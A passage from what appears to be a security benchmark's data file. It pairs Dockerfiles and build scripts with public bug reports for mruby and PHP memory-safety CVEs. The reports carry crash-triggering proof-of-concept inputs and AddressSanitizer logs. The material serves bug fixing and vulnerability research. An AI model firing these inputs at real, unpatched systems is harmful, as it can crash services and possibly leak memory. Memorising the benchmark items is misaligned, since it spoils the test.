thread T0 here: #0 0x49a223 in __interceptor_realloc (/home/aldo/mruby/bin/mruby+0x49a223) #1 0x596e6d in mrb_default_allocf /home/aldo/mruby/src/state.c:68:12 #2 0x538a23 in mrb_realloc_simple /home/aldo/mruby/src/gc.c:226:8 #3 0x5392e9 in mrb_realloc /home/aldo/mruby/src/gc.c:240:8 #4 0x5394d1 in mrb_malloc /home/aldo/mruby/src/gc.c:256:10 #5 0x5396b2 in mrb_calloc /home/aldo/mruby/src/gc.c:274:9 #6 0x5fc1e3 in stack_init /home/aldo/mruby/src/vm.c:109:28 #7 0x6074a6 in mrb_vm_run /home/aldo/mruby/src/vm.c:1124:5 #8 0x6008c9 in mrb_top_run /home/aldo/mruby/src/vm.c:3041:12 #9 0x56daf0 in mrb_load_proc /home/aldo/mruby/src/load.c:713:10 #10 0x7a72b7 in mrb_init_mrblib /home/aldo/mruby/build/host/mrblib/mrblib.c:2326:3 #11 0x72c015 in mrb_init_core /home/aldo/mruby/src/init.c:50:3 #12 0x596fc3 in init_gc_and_core /home/aldo/mruby/src/state.c:34:3 #13 0x532b71 in mrb_core_init_protect /home/aldo/mruby/src/error.c:588:5 #14 0x596ce7 in mrb_open_core /home/aldo/mruby/src/state.c:52:7 #15 0x5971ad in mrb_open_allocf /home/aldo/mruby/src/state.c:91:20 #16 0x59714b in mrb_open /home/aldo/mruby/src/state.c:75:20 #17 0x4cbee8 in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:278:20 #18 0x7ffff7c500b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16 SUMMARY: AddressSanitizer: heap-use-after-free (/home/aldo/mruby/bin/mruby+0x499399) in __asan_memcpy Shadow bytes around the buggy address: 0x0c327fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff8010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c327fff8020: fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd 0x0c327fff8030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c327fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c327fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c327fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c327fff8070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==64898==ABORTING Test platform ubuntu 20.04 with clang 13 Impact Denial of service, with a possible information leak / arbitrary memory read because of the attacker-controlled address. Relevant Links: https://github.com/mruby/mruby https://github.com/mruby/mruby/blob/aaa28a508903041dd7399d4159a8ace9766b022f/src/vm.c#L2822
[]
[ { "sha": "16b9d0ea", "url": null }, { "sha": "7f5a490d09f4d56801ac3a3e4e39e03e1471b44c", "url": "https://github.com/mruby/mruby/commit/7f5a490d09f4d56801ac3a3e4e39e03e1471b44c" }, { "sha": "aaa28a508903041dd7399d4159a8ace9766b022f", "url": "https://github.com/mruby/mruby/commit/aaa28a508903041dd7399d4159a8ace9766b022f" } ]
mruby.cve-2022-1071
mruby/mruby
b4168c9b68daf759ce890c7da9e4ad5547058330
2022-03-24T17:45:06
mruby
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev RUN git clone https://github.com/mruby/mruby mruby RUN git -C mruby checkout b4168c9b68daf759ce890c7da9e4ad5547058330 WORKDIR $SRC/mruby COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu cd $SRC/mruby export LD=$CC export LDFLAGS="$CFLAGS" rake -m
/src/mruby
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/6597ece9-07af-415b-809b-919ce0a17cf3 ## Description: While fuzzing mruby I found a use after free in mruby compiled with ASAn. Proof of Concept (uaf1.rb) var1 = -0 var2 = 1.0 var3 = 1 var4 = +0 var3 = methods.group_by() { || var3 = methods.group_by() { || var3 = methods.group_by() { || var3 = methods.group_by() { || var3 = methods.group_by() { || var3 = methods.group_by() { || var3 = methods.group_by() { || var3 = methods.group_by() { || } } } } } } } } Here is the output from mruby ASAn binary aldo@vps:~/mruby$ ./bin/mruby uaf1.rb ================================================================= ==49228==ERROR: AddressSanitizer: heap-use-after-free on address 0x619000000390 at pc 0x0000003b32ca bp 0x7ffffffdc3f0 sp 0x7ffffffdbbb8 WRITE of size 8 at 0x619000000390 thread T0 #0 0x3b32c9 in __asan_memcpy (/home/aldo/mruby/bin/mruby+0x3b32c9) #1 0x5251f4 in mrb_vm_exec /home/aldo/mruby/src/vm.c:1397:19 #2 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12 #3 0x5143d0 in mrb_run /home/aldo/mruby/src/vm.c:3027:10 #4 0x512538 in mrb_funcall_with_block /home/aldo/mruby/src/vm.c:566:13 #5 0x5101e8 in mrb_funcall_argv /home/aldo/mruby/src/vm.c:577:10 #6 0x51076c in mrb_funcall_id /home/aldo/mruby/src/vm.c:393:10 #7 0x49998f in mrb_eql /home/aldo/mruby/src/object.c:620:10 #8 0x45d7ca in obj_eql /home/aldo/mruby/src/hash.c:378:5 #9 0x45ca74 in ar_get /home/aldo/mruby/src/hash.c:512:3 #10 0x450d8f in h_get /home/aldo/mruby/src/hash.c:1005:10 #11 0x454c21 in mrb_hash_key_p /home/aldo/mruby/src/hash.c:1688:10 #12 0x457ba0 in mrb_hash_has_key /home/aldo/mruby/src/hash.c:1697:11 #13 0x52cc6d in mrb_vm_exec /home/aldo/mruby/src/vm.c:1636:18 #14 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12 #15 0x5162b9 in mrb_top_run /home/aldo/mruby/src/vm.c:3040:12 #16 0x5af54b in mrb_load_exec /home/aldo/mruby/mrbgems/mruby-compiler/core/parse.y:6890:7 #17 0x5b072b in mrb_load_detect_file_cxt /home/aldo/mruby/mrbgems/mruby-compiler/core/parse.y:6933:12 #18 0x3e6ebf in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11 #19 0x7ffff7c500b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16 #20 0x3376ad in _start (/home/aldo/mruby/bin/mruby+0x3376ad) 0x619000000390 is located 784 bytes inside of 1024-byte region [0x619000000080,0x619000000480) freed by thread T0 here: #0 0x3b4153 in realloc (/home/aldo/mruby/bin/mruby+0x3b4153) #1 0x4c2565 in mrb_default_allocf /home/aldo/mruby/src/state.c:68:12 #2 0x44287e in mrb_realloc_simple /home/aldo/mruby/src/gc.c:226:8 #3 0x50e394 in stack_extend_alloc /home/aldo/mruby/src/vm.c:180:27 #4 0x50de30 in mrb_stack_extend /home/aldo/mruby/src/vm.c:200:5 #5 0x52d6bc in mrb_vm_exec /home/aldo/mruby/src/vm.c:1671:9 #6 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12 #7 0x5143d0 in mrb_run /home/aldo/mruby/src/vm.c:3027:10 #8 0x512538 in mrb_funcall_with_block /home/aldo/mruby/src/vm.c:566:13 #9 0x5101e8 in mrb_funcall_argv /home/aldo/mruby/src/vm.c:577:10 #10 0x51076c in mrb_funcall_id /home/aldo/mruby/src/vm.c:393:10 #11 0x49998f in mrb_eql /home/aldo/mruby/src/object.c:620:10 #12 0x45d7ca in obj_eql /home/aldo/mruby/src/hash.c:378:5 #13 0x45ca74 in ar_get /home/aldo/mruby/src/hash.c:512:3 #14 0x450d8f in h_get /home/aldo/mruby/src/hash.c:1005:10 #15 0x450907 in mrb_hash_get /home/aldo/mruby/src/hash.c:1215:7 #16 0x52519e in mrb_vm_exec /home/aldo/mruby/src/vm.c:1397:19 #17 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12 #18 0x5143d0 in mrb_run /home/aldo/mruby/src/vm.c:3027:10 #19 0x512538 in mrb_funcall_with_block /home/aldo/mruby/src/vm.c:566:13 #20 0x5101e8 in mrb_funcall_argv /home/aldo/mruby/src/vm.c:577:10 #21 0x51076c in mrb_funcall_id /home/aldo/mruby/src/vm.c:393:10 #22 0x49998f in mrb_eql /home/aldo/mruby/src/object.c:620:10 #23 0x45d7ca in obj_eql /home/aldo/mruby/src/hash.c:378:5 #24 0x45ca74 in ar_get /home/aldo/mruby/src/hash.c:512:3 #25 0x450d8f in h_get /home/aldo/mruby/src/hash.c:1005:10 #26 0x454c21 in mrb_hash_key_p /home/aldo/mruby/src/hash.c:1688:10 #27 0x457ba0 in mrb_hash_has_key /home/aldo/mruby/src/hash.c:1697:11 #28 0x52cc6d in mrb_vm_exec /home/aldo/mruby/src/vm.c:1636:18 #29 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12 previously allocated by thread T0 here: #0 0x3b4153 in realloc (/home/aldo/mruby/bin/mruby+0x3b4153) #1 0x4c2565 in mrb_default_allocf /home/aldo/mruby/src/state.c:68:12 #2 0x44287e in mrb_realloc_simple /home/aldo/mruby/src/gc.c:226:8 #3 0x442e04 in mrb_realloc /home/aldo/mruby/src/gc.c:240:8 #4 0x442f30 in mrb_malloc /home/aldo/mruby/src/gc.c:256:10 #5 0x442fda in mrb_calloc /home/aldo/mruby/src/gc.c:274:9 #6 0x512702 in stack_init /home/aldo/mruby/src/vm.c:109:28 #7 0x51be2a in mrb_vm_run /home/aldo/mruby/src/vm.c:1124:5 #8 0x5160bf in mrb_top_run /home/aldo/mruby/src/vm.c:3036:12 #9 0x46acf2 in mrb_load_proc /home/aldo/mruby/src/load.c:713:10 #10 0x6172cb in mrb_init_mrblib /home/aldo/mruby/build/host/mrblib/mrblib.c:2326:3 #11 0x4c3c64 in mrb_init_core /home/aldo/mruby/src/init.c:50:3 #12 0x4c2692 in init_gc_and_core /home/aldo/mruby/src/state.c:34:3 #13 0x4366fb in mrb_core_init_protect /home/aldo/mruby/src/error.c:588:5 #14 0x4c24de in mrb_open_core /home/aldo/mruby/src/state.c:52:7 #15 0x4c278c in mrb_open_allocf /home/aldo/mruby/src/state.c:91:20 #16 0x4c275a in mrb_open /home/aldo/mruby/src/state.c:75:20 #17 0x3e5de9 in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:278:20 #18 0x7ffff7c500b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16 SUMMARY: AddressSanitizer: heap-use-after-free (/home/aldo/mruby/bin/mruby+0x3b32c9) in __asan_memcpy Shadow bytes around the buggy address: 0x0c327fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c327fff8030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c327fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c327fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c327fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c327fff8070: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c327fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c327fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff80b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c327fff80c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==49228==ABORTING Relevant Links: https://github.com/mruby/mruby https://github.com/mruby/mruby/blob/d53a991b0741f12f1a372c2cd557189a38f2000a/src/vm.c#L1397
[]
[ { "sha": "6597ece9", "url": null }, { "sha": "aaa28a508903041dd7399d4159a8ace9766b022f", "url": "https://github.com/mruby/mruby/commit/aaa28a508903041dd7399d4159a8ace9766b022f" }, { "sha": "d53a991b0741f12f1a372c2cd557189a38f2000a", "url": "https://github.com/mruby/mruby/commit/d53a991b0741f12f1a372c2cd557189a38f2000a" } ]
php.cve-2018-19935
php/php-src
c26cb383a5661255bf60fe54de6baf430537e380
2018-12-05T02:13:30
php-src
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev RUN git clone https://github.com/php/php-src php-src RUN git -C php-src checkout c26cb383a5661255bf60fe54de6baf430537e380 WORKDIR $SRC/php-src COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./buildconf --force ./configure \ --enable-option-checking=fatal \ --disable-libxml \ --disable-dom \ --disable-simplexml \ --disable-xml \ --disable-xmlreader \ --disable-xmlwriter \ --without-pear \ --enable-exif \ --disable-phpdbg \ --disable-cgi make -j$(nproc)
/src/php-src
address
================= Bug Report (1/1) ================== ## Source: PHP Bugs ## URL: https://bugs.php.net/bug.php?id=77020 ## Description: PHP Bug ID: 77020 Summary: null pointer dereference in imap_mail Status: Closed PHP Version: 7.2.11 Assigned: stas (profile) CVE-ID: 2018-19935 Description: Description: ------------ in imap_mail if message args is null, in _php_imap_mail no check wheater message can get, so crash. ``` fprintf(sendmail, "\n%s\n", message); ``` /usr/local/php/bin/php ./craxxx.php Warning: imap_mail(): No message string in mail command in /home/fan/github/php-7.2.10/myselffuzz/craxxx.php on line 3 sh: 1: -t: not found Segmentation fault (core dumped) ../sapi/cli/php ./craxxx.php Warning: imap_mail(): No message string in mail command in /home/fan/github/php-7.2.10/myselffuzz/craxxx.php on line 3 ASAN:SIGSEGV ================================================================= ==23766==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000018 (pc 0x7fae925d9cc0 bp 0x7ffcb6b27a10 sp 0x7ffcb6b274a0 T0) sh: 1: -t: not found #0 0x7fae925d9cbf in vfprintf (/lib/x86_64-linux-gnu/libc.so.6+0x4ecbf) #1 0x7fae926a1bc8 in __fprintf_chk (/lib/x86_64-linux-gnu/libc.so.6+0x116bc8) #2 0xa5aeb0 in fprintf /usr/include/x86_64-linux-gnu/bits/stdio2.h:97 #3 0xa5aeb0 in _php_imap_mail /home/fan/github/php-7.2.10/ext/imap/php_imap.c:4065 #4 0xa5b22d in zif_imap_mail /home/fan/github/php-7.2.10/ext/imap/php_imap.c:4112 #5 0x17da703 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/fan/Desktop/php-7.2.10/Zend/zend_vm_execute.h:573 #6 0x17da703 in execute_ex /home/fan/Desktop/php-7.2.10/Zend/zend_vm_execute.h:59747 #7 0x181b5c3 in zend_execute /home/fan/Desktop/php-7.2.10/Zend/zend_vm_execute.h:63776 #8 0x1356ef2 in zend_execute_scripts /home/fan/Desktop/php-7.2.10/Zend/zend.c:1496 #9 0x11c0776 in php_execute_script /home/fan/Desktop/php-7.2.10/main/main.c:2590 #10 0x1823488 in do_cli /home/fan/Desktop/php-7.2.10/sapi/cli/php_cli.c:1011 #11 0x18256f4 in main /home/fan/Desktop/php-7.2.10/sapi/cli/php_cli.c:1404 #12 0x7fae925ab82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #13 0x440888 in _start (/home/fan/github/php-7.2.10/sapi/cli/php+0x440888) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ??:0 vfprintf ==23766==ABORTING Test script: --------------- <?php imap_mail('1', 1, NULL); ?> Comments: [Comment 1] [2018-10-16 14:52 UTC] cmb@php.net Thanks for reporting this issue! I can confirm the bug (it also happens if the $message parameter is an empty string). I suggest to apply <https://gist.github.com/cmb69/55b9015ca6416ee027755dc868d66137>. Stas, can you please commit to the sec repo? Links: https://gist.github.com/cmb69/55b9015ca6416ee027755dc868d66137 [Comment 2] [2018-10-18 08:58 UTC] 790358237 at qq dot com Thanks for your reply. I am very happy to do this. [Comment 3] [2018-11-11 18:05 UTC] stas@php.net Fix makes sense, we can merge it in the next release cycle. [Comment 4] [2018-11-11 18:09 UTC] stas@php.net Added to security repo as 8b1049a7ae96ae9b0315cfe6742e5fb010ffb5d3 (for 5.6, higher versions will be merged up). [Comment 5] [2018-11-21 05:42 UTC] 790358237 at qq dot com will this get a cve? [Comment 8] [2018-12-07 08:13 UTC] 790358237 at qq dot com this assign CVE-2018-19935. [Comment 9] [2018-12-07 15:32 UTC] remi@php.net Notice: This issue is fixed in 5.6.39, 7.0.33 and 7.3.0 The fix is missing in 7.1.25 and 7.2.13, will be part of 7.1.26 and 7.2.14 [Comment 10] [2018-12-10 02:44 UTC] zhangweiye at topsec dot com dot cn credit:zhangweiye@topsec.com.cn [Comment 11] [2018-12-10 03:07 UTC] zhangweiye at topsec dot com dot cn credit topsec(zhangweiye) [Comment 12] [2021-04-07 01:04 UTC] 2432857142 at qq dot com The following patch has been added/updated: Patch Name: CVE-2018-19935 Revision: 1617757483 URL: https://bugs.php.net/patch-display.php?bug=77020&patch=CVE-2018-19935&revision=1617757483 Links: https://bugs.php.net/patch-display.php?bug=77020&patch=CVE-2018-19935&revision=1617757483 Commit References: 8b1049a7ae96ae9b0315cfe6742e5fb010ffb5d3
[]
[ { "sha": "8b1049a7ae96ae9b0315cfe6742e5fb010ffb5d3", "url": "https://github.com/php/php-src/commit/8b1049a7ae96ae9b0315cfe6742e5fb010ffb5d3" } ]
php.cve-2019-9023
php/php-src
05fb10165081cb4fb55a9943b44cab62c627db7a
2019-01-09T02:57:53
php-src
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev RUN git clone https://github.com/php/php-src php-src RUN git -C php-src checkout 05fb10165081cb4fb55a9943b44cab62c627db7a WORKDIR $SRC/php-src COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./buildconf --force ./configure \ --enable-option-checking=fatal \ --disable-libxml \ --disable-dom \ --disable-simplexml \ --disable-xml \ --disable-xmlreader \ --disable-xmlwriter \ --without-pear \ --enable-exif \ --disable-phpdbg \ --disable-cgi make -j$(nproc)
/src/php-src
address
================= Bug Report (1/7) ================== ## Source: PHP Bugs ## URL: https://bugs.php.net/bug.php?id=77370 ## Description: PHP Bug ID: 77370 Summary: Buffer overflow on mb regex functions - fetch_token Status: Closed PHP Version: 5.6.39 Assigned: stas (profile) CVE-ID: 2019-9023 Description: Description: ------------ Affects the $pattern of mb_ regex functions, such as mb_split, mb_ereg, and probably others given where my fix was. In ext/mbstring/oniguruma/regparse.c, the function fetch_token takes a UChar **src, and a UChar *end. At completion of the method it sets *src to be where the pointer is currently (p). If there is an unfinished multibyte char at the end of the string then p can go beyond end. This causes flow on affects where src is then passed to onig_node_str_cat with *src which points past the end of the string buffer. This leads to a heap buffer overflow, which could cause memory corruption and/or leakage. Could reproduce this on php 5.6.39, 7.0.33, and 7.1.25. I could not reproduce on 7.2.13, 7.3.0 or master due to the file being replaced. A patch to fix is available at https://gist.github.com/hughdavenport/c5696e48ea3a83bfe12075f79b2b5abf Test script: --------------- php -r 'var_dump(mb_split(" \xfd",""));' on php 5.6, weirdly it didn't crash with a plain string, but could get it to crash passing in a file. $ xxd -g 1 mb_split_heap_crash-min5_6 00000000: fd . $ php -r 'var_dump(mb_ereg(file_get_contents($argv[1]),""));' mb_split_heap_crash-min5_6 Expected result: ---------------- no crash Actual result: -------------- $ ~/php-5.6.39/sapi/cli/php -r 'var_dump(mb_ereg(file_get_contents($argv[1]),""));' ../mb_split_heap_crash-min5_6 ================================================================= ==16331==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000d7f2 at pc 0x0000004d67d1 bp 0x7ffcaa0ba840 sp 0x7ffcaa0b9ff0 READ of size 6 at 0x60200000d7f2 thread T0 #0 0x4d67d0 in __asan_memcpy (/home/hugh/php-5.6.39/sapi/cli/php+0x4d67d0) #1 0x87dddb in onig_strcpy /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:223:5 #2 0x87dddb in onig_node_str_cat /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:1447 #3 0x88e660 in node_new_str /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:1506:7 #4 0x88e660 in parse_exp /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:5092 #5 0x88c525 in parse_branch /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:5441:7 #6 0x889442 in parse_subexp /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:5478:7 #7 0x8802e5 in parse_regexp /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:5522:7 #8 0x8802e5 in onig_parse_make_tree /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:5549 #9 0x805655 in onig_compile /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:5300:7 #10 0x82df69 in onig_new /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:5545:7 #11 0x9a7895 in php_mbregex_compile_pattern /home/hugh/php-5.6.39/ext/mbstring/php_mbregex.c:458:19 #12 0x9a0809 in _php_mb_regex_ereg_exec /home/hugh/php-5.6.39/ext/mbstring/php_mbregex.c:728:7 #13 0x11a27d8 in zend_do_fcall_common_helper_SPEC /home/hugh/php-5.6.39/Zend/zend_vm_execute.h:558:5 #14 0xffc73d in execute_ex /home/hugh/php-5.6.39/Zend/zend_vm_execute.h:363:14 #15 0xffe722 in zend_execute /home/hugh/php-5.6.39/Zend/zend_vm_execute.h:388:2 #16 0xebe557 in zend_eval_stringl /home/hugh/php-5.6.39/Zend/zend_execute_API.c:1080:4 #17 0xebfcd9 in zend_eval_stringl_ex /home/hugh/php-5.6.39/Zend/zend_execute_API.c:1127:11 #18 0xebfcd9 in zend_eval_string_ex /home/hugh/php-5.6.39/Zend/zend_execute_API.c:1138 #19 0x125a228 in do_cli /home/hugh/php-5.6.39/sapi/cli/php_cli.c:1038:8 #20 0x12570a1 in main /home/hugh/php-5.6.39/sapi/cli/php_cli.c:1382:18 #21 0x7f8fbd5ddb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #22 0x436129 in _start (/home/hugh/php-5.6.39/sapi/cli/php+0x436129) 0x60200000d7f2 is located 0 bytes to the right of 2-byte region [0x60200000d7f0,0x60200000d7f2) allocated by thread T0 here: #0 0x4ebba5 in realloc (/home/hugh/php-5.6.39/sapi/cli/php+0x4ebba5) #1 0xe10a82 in __zend_realloc /home/hugh/php-5.6.39/Zend/zend_alloc.h:114:6 #2 0xb46252 in zif_file_get_contents /home/hugh/php-5.6.39/ext/standard/file.c:561:13 #3 0x11a27d8 in zend_do_fcall_common_helper_SPEC /home/hugh/php-5.6.39/Zend/zend_vm_execute.h:558:5 SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/hugh/php-5.6.39/sapi/cli/php+0x4d67d0) in __asan_memcpy Shadow bytes around the buggy address: 0x0c047fff9aa0: fa fa fd fa fa fa 00 00 fa fa 00 05 fa fa fd fa 0x0c047fff9ab0: fa fa 00 00 fa fa 00 05 fa fa 06 fa fa fa 07 fa 0x0c047fff9ac0: fa fa 07 fa fa fa 04 fa fa fa fd fa fa fa fd fa 0x0c047fff9ad0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa 0x0c047fff9ae0: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fa =>0x0c047fff9af0: fa fa fd fa fa fa 00 00 fa fa fd fd fa fa[02]fa 0x0c047fff9b00: fa fa 02 fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==16331==ABORTING $ ~/php-7.0.33/sapi/cli/php -r 'var_dump(mb_ereg(" \xfd",""));' ================================================================= ==16351==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300001a3a0 at pc 0x0000004d8aa1 bp 0x7fffe4892ea0 sp 0x7fffe4892650 READ of size 6 at 0x60300001a3a0 thread T0 #0 0x4d8aa0 in __asan_memcpy (/home/hugh/php-7.0.33/sapi/cli/php+0x4d8aa0) #1 0x85609b in onig_strcpy /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:223:5 #2 0x85609b in onig_node_str_cat /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:1447 #3 0x866ace in parse_exp /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:5100:6 #4 0x8647d5 in parse_branch /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:5441:7 #5 0x8616f2 in parse_subexp /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:5478:7 #6 0x8585a5 in parse_regexp /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:5522:7 #7 0x8585a5 in onig_parse_make_tree /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:5549 #8 0x7dd735 in onig_compile /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:5300:7 #9 0x806029 in onig_new /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:5545:7 #10 0x97f337 in php_mbregex_compile_pattern /home/hugh/php-7.0.33/ext/mbstring/php_mbregex.c:456:19 #11 0x979a7e in _php_mb_regex_ereg_exec /home/hugh/php-7.0.33/ext/mbstring/php_mbregex.c:727:7 #12 0x12588f5 in ZEND_DO_ICALL_SPEC_HANDLER /home/hugh/php-7.0.33/Zend/zend_vm_execute.h:586:2 #13 0x10da51d in execute_ex /home/hugh/php-7.0.33/Zend/zend_vm_execute.h:417:7 #14 0x10db3f7 in zend_execute /home/hugh/php-7.0.33/Zend/zend_vm_execute.h:458:2 #15 0xeefb24 in zend_eval_stringl /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1137:4 #16 0xef062a in zend_eval_stringl_ex /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1178:11 #17 0xef062a in zend_eval_string_ex /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1189 #18 0x1319021 in do_cli /home/hugh/php-7.0.33/sapi/cli/php_cli.c:1008:8 #19 0x1315f95 in main /home/hugh/php-7.0.33/sapi/cli/php_cli.c:1347:18 #20 0x7f3c84dc2b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #21 0x4383f9 in _start (/home/hugh/php-7.0.33/sapi/cli/php+0x4383f9) 0x60300001a3a0 is located 0 bytes to the right of 32-byte region [0x60300001a380,0x60300001a3a0) allocated by thread T0 here: #0 0x4eda50 in malloc (/home/hugh/php-7.0.33/sapi/cli/php+0x4eda50) #1 0xe2abcc in __zend_malloc /home/hugh/php-7.0.33/Zend/zend_alloc.c:2882:14 #2 0xdd36f7 in lex_scan /home/hugh/php-7.0.33/Zend/zend_language_scanner.l:2054:5 #3 0xe3af46 in zendlex /home/hugh/php-7.0.33/Zend/zend_compile.c:1587:11 #4 0xd9fa05 in zendparse /home/hugh/php-7.0.33/Zend/zend_language_parser.c:4225:16 #5 0xdb677e in compile_string /home/hugh/php-7.0.33/Zend/zend_language_scanner.l:760:8 #6 0xeef95f in zend_eval_stringl /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1127:17 #7 0xef062a in zend_eval_stringl_ex /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1178:11 #8 0xef062a in zend_eval_string_ex /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1189 SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/hugh/php-7.0.33/sapi/cli/php+0x4d8aa0) in __asan_memcpy Shadow bytes around the buggy address: 0x0c067fffb420: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fffb430: 00 00 fa fa 